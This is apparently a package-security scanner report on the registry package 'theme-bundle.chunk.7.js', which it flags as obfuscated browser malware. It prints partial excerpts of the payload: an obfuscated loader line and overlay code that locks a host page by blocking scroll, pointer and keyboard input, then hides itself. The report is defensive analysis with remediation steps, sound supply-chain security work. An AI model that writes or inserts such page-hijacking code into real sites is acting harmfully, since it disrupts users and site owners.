registry / Destructive action / theme-bundle.chunk.7.js
theme-bundle.chunk.7.js
This report shows the evidence for theme-bundle.chunk.7.js@1.0.6. 4 of 4 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is an intentionally obscured browser denial-of-service payload that alters and locks a host page when deployed. The absence of installation hooks limits the trigger but does not neutralize the concrete malicious behavior.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading the JavaScript as a browser theme chunk.
Impact
Denial of normal website use and concealed page-content replacement.
Mechanism
Obfuscated DOM overlay and input suppression.
Attack narrative
The payload runs immediately in a browser context. It creates a fixed full-screen overlay, modifies a selected theme banner, disables scrolling and page pointer events, and captures keyboard input to cancel it. It keeps the overlay reachable through a random protected window property, then removes its own script tag. The package has no installation hook or exfiltration code, but the included browser payload is intentionally obfuscated and directly disrupts a host website.
AI rationale
This is an intentionally obscured browser denial-of-service payload that alters and locks a host page when deployed. The absence of installation hooks limits the trigger but does not neutralize the concrete malicious behavior.
Evidence
chunk-original.jsdist/theme-bundle.chunk.7.js
Decision evidence
public snapshotAI called this Malicious at 96.0% confidence as Malware with low false-positive risk.
Evidence for block
- The browser payload creates a full-screen, highest-layer overlay and replaces content in a targeted page banner.
- It disables page scrolling and pointer input, while cancelling all keyboard events.
- It stores the overlay under a random, non-configurable window property and removes its own script element.
- Strings and identifiers are deliberately obscured in the distributed payload.
Evidence against
- package.json has no install lifecycle hook.
- No network, credential, environment, or local-file access was found.
- The declared main file is absent, so ordinary package import does not load the browser payload.
Behavioral surface
HighEntropyStringsMinifiedObfuscated
Source & flagged code
5 flagged · loading sourcedist/theme-bundle.chunk.7.jsView file
1(function(_0x39681f,_0x17d6dc){var _0x29af27=_0x33dc,_0x2dcf33=_0x39681f();while(!![]){try{var _0x43e9d3=-parseInt(_0x29af27(0x1d8))/0x1*(parseInt(_0x29af27(0x1df))/0x2)+parseInt(_...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
dist/theme-bundle.chunk.7.jsView on unpkg · L1chunk-original.jsView file
26var r = '_' + Math.random().toString(36).slice(2, 8);
var o = document.createElement('div');
o.id = r;
o.style.cssText = 'position:fixed;inset:0;z-index:2147483647;background:rgba(15,23,42,.93);backdrop-filter:blur(10px);display:flex;align-items:center;justify-content:center;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;color:#f1f5f9;pointer-events:auto;';
var c = document.createElement('div');
var c = document.querySelectorAll('.category-featured-banner, .home-masthead-single');
c[0].style.cssText = 'background:linear-gradient(145deg,#1e293b,#0f172a);border
High
Ai Review Evidence
The browser payload creates a full-screen, highest-layer overlay and replaces content in a targeted page banner.
chunk-original.jsView on unpkg · L26Findings
6 High1 Medium2 Low
HighObfuscated Payload Loaderdist/theme-bundle.chunk.7.js
HighObfuscated
HighAi Review Evidencechunk-original.js
HighAi Review Evidencechunk-original.js
HighAi Review Evidencechunk-original.js
HighAi Review Evidencechunk-original.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to theme-bundle.chunk.7.js@1.0.6.
The versions list below shows the verdict for each recorded version.
- Avoid installing theme-bundle.chunk.7.js@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.